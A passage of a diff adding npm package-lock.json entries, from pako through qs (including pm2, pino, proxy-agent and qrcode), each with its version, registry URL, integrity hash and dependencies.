"sha512-Fd9lT9vJbHYRACT8OhCbZBbxr6KRSawSovFpy8nDGshaK99S/EBhVIHp9+crhxrsZOuvLpgL1n23iyPg6Rl2hg==", + "dependencies": { + "degenerator": "^5.0.0", + "ip": "^1.1.8", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==" + }, + "node_modules/parse-bmfont-ascii": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/parse-bmfont-ascii/-/parse-bmfont-ascii-1.0.6.tgz", + "integrity": "sha512-U4RrVsUFCleIOBsIGYOMKjn9PavsGOXxbvYGtMOEfnId0SVNsgehXh1DxUdVPLoxd5mvcEtvmKs2Mmf0Mpa1ZA==" + }, + "node_modules/parse-bmfont-binary": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/parse-bmfont-binary/-/parse-bmfont-binary-1.0.6.tgz", + "integrity": "sha512-GxmsRea0wdGdYthjuUeWTMWPqm2+FAd4GI8vCvhgJsFnoGhTrLhXDDupwTo7rXVAgaLIGoVHDZS9p/5XbSqeWA==" + }, + "node_modules/parse-bmfont-xml": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/parse-bmfont-xml/-/parse-bmfont-xml-1.1.4.tgz", + "integrity": "sha512-bjnliEOmGv3y1aMEfREMBJ9tfL3WR0i0CKPj61DnSLaoxWR3nLrsQrEbCId/8rF4NyRF0cCqisSVXyQYWM+mCQ==", + "dependencies": { + "xml-parse-from-string": "^1.0.0", + "xml2js": "^0.4.5" + } + }, + "node_modules/parse-headers": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/parse-headers/-/parse-headers-2.0.5.tgz", + "integrity": "sha512-ft3iAoLOB/MlwbNXgzy43SWGP6sQki2jQvAyBg/zDFAgr9bfNWZIUj42Kw2eJIl8kEi4PbgE6U1Zau/HwI75HA==" + }, + "node_modules/parse-ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz", + "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/parse5": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-7.1.2.tgz", + "integrity": "sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==", + "dependencies": { + "entities": "^4.4.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz", + "integrity": "sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==", + "dependencies": { + "domhandler": "^5.0.2", + "parse5": "^7.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/path": { + "version": "0.12.7", + "resolved": "https://registry.npmjs.org/path/-/path-0.12.7.tgz", + "integrity": "sha512-aXXC6s+1w7otVF9UletFkFcDsJeO7lSZBPUQhtb5O0xJe8LtYhj/GxldoL09bBj9+ZmE2hNoHqQSFMN5fikh4Q==", + "dependencies": { + "process": "^0.11.1", + "util": "^0.10.3" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "node_modules/path/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==" + }, + "node_modules/path/node_modules/util": { + "version": "0.10.4", + "resolved": "https://registry.npmjs.org/util/-/util-0.10.4.tgz", + "integrity": "sha512-0Pm9hTQ3se5ll1XihRic3FDIku70C+iHUdT/W926rSgHV5QgXsYbKZN8MSC3tJtSkhuROzvsQjAaFENRXr+19A==", + "dependencies": { + "inherits": "2.0.3" + } + }, + "node_modules/peek-readable": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-4.1.0.tgz", + "integrity": "sha512-ZI3LnwUv5nOGbQzD9c2iDG6toheuXSZP5esSHBjopsXH4dg19soufvpUGA3uohi5anFtGb2lhAVdHzH6R/Evvg==", + "engines": { + "node": ">=8" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/perf_hooks": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/perf_hooks/-/perf_hooks-0.0.1.tgz", + "integrity": "sha512-qG/D9iA4KDme+KF4vCObJy6Bouu3BlQnmJ8jPydVPm32NJBD9ZK1ZNgXSYaZKHkVC1sKSqUiLgFvAZPUiIEnBw==" + }, + "node_modules/performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==" + }, + "node_modules/phin": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/phin/-/phin-2.9.3.tgz", + "integrity": "sha512-CzFr90qM24ju5f88quFC/6qohjC144rehe5n6DH900lgXmUe86+xCKc10ev56gRKC4/BkHUoG4uSiQgBiIXwDA==" + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pidusage": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/pidusage/-/pidusage-3.0.2.tgz", + "integrity": "sha512-g0VU+y08pKw5M8EZ2rIGiEBaB8wrQMjYGFfW2QVIfyT8V+fq8YFLkvlz4bz5ljvFDJYNFCWT3PWqcRr2FKO81w==", + "dependencies": { + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pino": { + "version": "7.11.0", + "resolved": "https://registry.npmjs.org/pino/-/pino-7.11.0.tgz", + "integrity": "sha512-dMACeu63HtRLmCG8VKdy4cShCPKaYDR4youZqoSWLxl5Gu99HUw8bw75thbPv9Nip+H+QYX8o3ZJbTdVZZ2TVg==", + "dependencies": { + "atomic-sleep": "^1.0.0", + "fast-redact": "^3.0.0", + "on-exit-leak-free": "^0.2.0", + "pino-abstract-transport": "v0.5.0", + "pino-std-serializers": "^4.0.0", + "process-warning": "^1.0.0", + "quick-format-unescaped": "^4.0.3", + "real-require": "^0.1.0", + "safe-stable-stringify": "^2.1.0", + "sonic-boom": "^2.2.1", + "thread-stream": "^0.15.1" + }, + "bin": { + "pino": "bin.js" + } + }, + "node_modules/pino-abstract-transport": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/pino-abstract-transport/-/pino-abstract-transport-0.5.0.tgz", + "integrity": "sha512-+KAgmVeqXYbTtU2FScx1XS3kNyfZ5TrXY07V96QnUSFqo2gAqlvmaxH67Lj7SWazqsMabf+58ctdTcBgnOLUOQ==", + "dependencies": { + "duplexify": "^4.1.2", + "split2": "^4.0.0" + } + }, + "node_modules/pino-std-serializers": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pino-std-serializers/-/pino-std-serializers-4.0.0.tgz", + "integrity": "sha512-cK0pekc1Kjy5w9V2/n+8MkZwusa6EyyxfeQCB799CQRhRt/CqYKiWs5adeu8Shve2ZNffvfC/7J64A2PJo1W/Q==" + }, + "node_modules/pixelmatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/pixelmatch/-/pixelmatch-4.0.2.tgz", + "integrity": "sha512-J8B6xqiO37sU/gkcMglv6h5Jbd9xNER7aHzpfRdNmV4IbQBzBpe4l9XmbG+xPF/znacgu2jfEw+wHffaq/YkXA==", + "dependencies": { + "pngjs": "^3.0.0" + }, + "bin": { + "pixelmatch": "bin/pixelmatch" + } + }, + "node_modules/pm2": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/pm2/-/pm2-5.3.0.tgz", + "integrity": "sha512-xscmQiAAf6ArVmKhjKTeeN8+Td7ZKnuZFFPw1DGkdFPR/0Iyx+m+1+OpCdf9+HQopX3VPc9/wqPQHqVOfHum9w==", + "dependencies": { + "@pm2/agent": "~2.0.0", + "@pm2/io": "~5.0.0", + "@pm2/js-api": "~0.6.7", + "@pm2/pm2-version-check": "latest", + "async": "~3.2.0", + "blessed": "0.1.81", + "chalk": "3.0.0", + "chokidar": "^3.5.3", + "cli-tableau": "^2.0.0", + "commander": "2.15.1", + "croner": "~4.1.92", + "dayjs": "~1.11.5", + "debug": "^4.3.1", + "enquirer": "2.3.6", + "eventemitter2": "5.0.1", + "fclone": "1.0.11", + "mkdirp": "1.0.4", + "needle": "2.4.0", + "pidusage": "~3.0", + "pm2-axon": "~4.0.1", + "pm2-axon-rpc": "~0.7.1", + "pm2-deploy": "~1.0.2", + "pm2-multimeter": "^0.1.2", + "promptly": "^2", + "semver": "^7.2", + "source-map-support": "0.5.21", + "sprintf-js": "1.1.2", + "vizion": "~2.2.1", + "yamljs": "0.3.0" + }, + "bin": { + "pm2": "bin/pm2", + "pm2-dev": "bin/pm2-dev", + "pm2-docker": "bin/pm2-docker", + "pm2-runtime": "bin/pm2-runtime" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "pm2-sysmonit": "^1.2.8" + } + }, + "node_modules/pm2-axon": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pm2-axon/-/pm2-axon-4.0.1.tgz", + "integrity": "sha512-kES/PeSLS8orT8dR5jMlNl+Yu4Ty3nbvZRmaAtROuVm9nYYGiaoXqqKQqQYzWQzMYWUKHMQTvBlirjE5GIIxqg==", + "dependencies": { + "amp": "~0.3.1", + "amp-message": "~0.1.1", + "debug": "^4.3.1", + "escape-string-regexp": "^4.0.0" + }, + "engines": { + "node": ">=5" + } + }, + "node_modules/pm2-axon-rpc": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/pm2-axon-rpc/-/pm2-axon-rpc-0.7.1.tgz", + "integrity": "sha512-FbLvW60w+vEyvMjP/xom2UPhUN/2bVpdtLfKJeYM3gwzYhoTEEChCOICfFzxkxuoEleOlnpjie+n1nue91bDQw==", + "dependencies": { + "debug": "^4.3.1" + }, + "engines": { + "node": ">=5" + } + }, + "node_modules/pm2-deploy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/pm2-deploy/-/pm2-deploy-1.0.2.tgz", + "integrity": "sha512-YJx6RXKrVrWaphEYf++EdOOx9EH18vM8RSZN/P1Y+NokTKqYAca/ejXwVLyiEpNju4HPZEk3Y2uZouwMqUlcgg==", + "dependencies": { + "run-series": "^1.1.8", + "tv4": "^1.3.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/pm2-multimeter": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/pm2-multimeter/-/pm2-multimeter-0.1.2.tgz", + "integrity": "sha512-S+wT6XfyKfd7SJIBqRgOctGxaBzUOmVQzTAS+cg04TsEUObJVreha7lvCfX8zzGVr871XwCSnHUU7DQQ5xEsfA==", + "dependencies": { + "charm": "~0.1.1" + } + }, + "node_modules/pm2-sysmonit": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/pm2-sysmonit/-/pm2-sysmonit-1.2.8.tgz", + "integrity": "sha512-ACOhlONEXdCTVwKieBIQLSi2tQZ8eKinhcr9JpZSUAL8Qy0ajIgRtsLxG/lwPOW3JEKqPyw/UaHmTWhUzpP4kA==", + "optional": true, + "dependencies": { + "async": "^3.2.0", + "debug": "^4.3.1", + "pidusage": "^2.0.21", + "systeminformation": "^5.7", + "tx2": "~1.0.4" + } + }, + "node_modules/pm2-sysmonit/node_modules/pidusage": { + "version": "2.0.21", + "resolved": "https://registry.npmjs.org/pidusage/-/pidusage-2.0.21.tgz", + "integrity": "sha512-cv3xAQos+pugVX+BfXpHsbyz/dLzX+lr44zNMsYiGxUw+kV5sgQCIcLd1z+0vq+KyC7dJ+/ts2PsfgWfSC3WXA==", + "optional": true, + "dependencies": { + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pm2/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pm2/node_modules/commander": { + "version": "2.15.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", + "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==" + }, + "node_modules/pm2/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pm2/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pm2/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/pngjs": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-3.4.0.tgz", + "integrity": "sha512-NCrCHhWmnQklfH4MtJMRjZ2a8c80qXeMlQMv2uVp9ISJMTt562SbGd6n2oq0PaPgKm7Z6pL9E2UlLIhC+SHL3w==", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/prelude-ls": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/process": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", + "integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==", + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/process-warning": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/process-warning/-/process-warning-1.0.0.tgz", + "integrity": "sha512-du4wfLyj4yCZq1VupnVSZmRsPJsNuxoDQFdCFHLaYiEbFBD7QE0a+I4D7hOxrVnh78QE/YipFAj9lXHiXocV+Q==" + }, + "node_modules/promptly": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/promptly/-/promptly-2.2.0.tgz", + "integrity": "sha512-aC9j+BZsRSSzEsXBNBwDnAxujdx19HycZoKgRgzWnS8eOHg1asuf9heuLprfbe739zY3IdUQx+Egv6Jn135WHA==", + "dependencies": { + "read": "^1.0.4" + } + }, + "node_modules/protobufjs": { + "version": "6.11.4", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz", + "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw==", + "hasInstallScript": true, + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/long": "^4.0.1", + "@types/node": ">=13.7.0", + "long": "^4.0.0" + }, + "bin": { + "pbjs": "bin/pbjs", + "pbts": "bin/pbts" + } + }, + "node_modules/proxy-agent": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-6.3.1.tgz", + "integrity": "sha512-Rb5RVBy1iyqOtNl15Cw/llpeLH8bsb37gM1FUfKQ+Wck6xHlbAhWGUFiTRHtkjqGTA5pSHz6+0hrPW/oECihPQ==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "^7.0.1", + "proxy-from-env": "^1.1.0", + "socks-proxy-agent": "^8.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/http-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.0.tgz", + "integrity": "sha512-+ZT+iBxVUQ1asugqnD6oWoRiS25AkjNfG085dKJGtGxkdwLQrMKU5wJr2bOOFAXzKcTuqq+7fZlTMgG3SRfIYQ==", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/https-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz", + "integrity": "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-agent/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/proxy-agent/node_modules/socks-proxy-agent": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.2.tgz", + "integrity": "sha512-8zuqoLv1aP/66PHF5TqwJ7Czm3Yv32urJQHrVyhD7mmA6d61Zv8cIXQYPTWwmg6qlupnPvs/QKDmfa4P/qct2g==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "socks": "^2.7.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + }, + "node_modules/pstree.remy": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz", + "integrity": "sha512-77DZwxQmxKnu3aR542U+X8FypNzbfJ+C5XQDk3uWjWxn6151aIMGthWYRXTqT1E5oJvg+ljaa2OJi+VfvCOQ8w==" + }, + "node_modules/publish": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/publish/-/publish-0.6.0.tgz", + "integrity": "sha512-eP+7Jvysc11/mG2pCHewDYn10UJsJV3CzgYnu4EHufs/ksTNVM3R/jPC4sZmNxJKdNJmFBw5Uuy2Az+19PJR8w==", + "dependencies": { + "nopt": "3.x.x", + "npm": "2.x.x", + "npmlog": "1.x.x", + "semver": "4.x.x" + }, + "bin": { + "publish": "bin/publish.js" + } + }, + "node_modules/publish/node_modules/semver": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/semver/-/semver-4.3.6.tgz", + "integrity": "sha512-IrpJ+yoG4EOH8DFWuVg+8H1kW1Oaof0Wxe7cPcXW3x9BjkN/eVo54F15LyqemnDIUYskQWr9qvl/RihmSy6+xQ==", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/punycode": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/qoa-format": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/qoa-format/-/qoa-format-1.0.0.tgz", + "integrity": "sha512-Vjp2aV2x06tHbZesCi2UtISaFdlLzy47Vbt0rNwwdihKFvGtUeFfytdnA8XZYADqWtRbK19+XXeRkv1Stg4qSQ==", + "dependencies": { + "@thi.ng/bitstream": "^2.2.12" + } + }, + "node_modules/qrcode": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/qrcode/-/qrcode-1.5.3.tgz", + "integrity": "sha512-puyri6ApkEHYiVl4CFzo1tDkAZ+ATcnbJrJ6RiBM1Fhctdn/ix9MTE3hRph33omisEbC/2fcfemsseiKgBPKZg==", + "dependencies": { + "dijkstrajs": "^1.0.1", + "encode-utf8": "^1.0.3", + "pngjs": "^5.0.0", + "yargs": "^15.3.1" + }, + "bin": { + "qrcode": "bin/qrcode" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/qrcode-reader": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/qrcode-reader/-/qrcode-reader-1.0.4.tgz", + "integrity": "sha512-rRjALGNh9zVqvweg1j5OKIQKNsw3bLC+7qwlnead5K/9cb1cEIAGkwikt/09U0K+2IDWGD9CC6SP7tHAjUeqvQ==" + }, + "node_modules/qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==", + "bin": { + "qrcode-terminal": "bin/qrcode-terminal.js" + } + }, + "node_modules/qrcode/node_modules/cliui": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-6.0.0.tgz", + "integrity": "sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^6.2.0" + } + }, + "node_modules/qrcode/node_modules/pngjs": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-5.0.0.tgz", + "integrity": "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw==", + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/qrcode/node_modules/wrap-ansi": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", + "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/qrcode/node_modules/y18n": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", + "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==" + }, + "node_modules/qrcode/node_modules/yargs": { + "version": "15.4.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-15.4.1.tgz", + "integrity": "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A==", + "dependencies": { + "cliui": "^6.0.0", + "decamelize": "^1.2.0", + "find-up": "^4.1.0", + "get-caller-file": "^2.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^2.0.0", + "set-blocking": "^2.0.0", + "string-width": "^4.2.0", + "which-module": "^2.0.0", + "y18n": "^4.0.0", + "yargs-parser": "^18.1.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/qrcode/node_modules/yargs-parser": { + "version": "18.1.3", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-18.1.3.tgz", + "integrity": "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ==", + "dependencies": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/qs": { + "version": "6.11.2", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.11.2.tgz", + "integrity": "sha512-tDNIz22aBzCDxLtVH++VnTfzxlfeK5CbqohpSqpJgj1Wg/cQbStNAz3NuqCs5vV+pjBsK4x4pN9HlVh7rcYRiA==", + 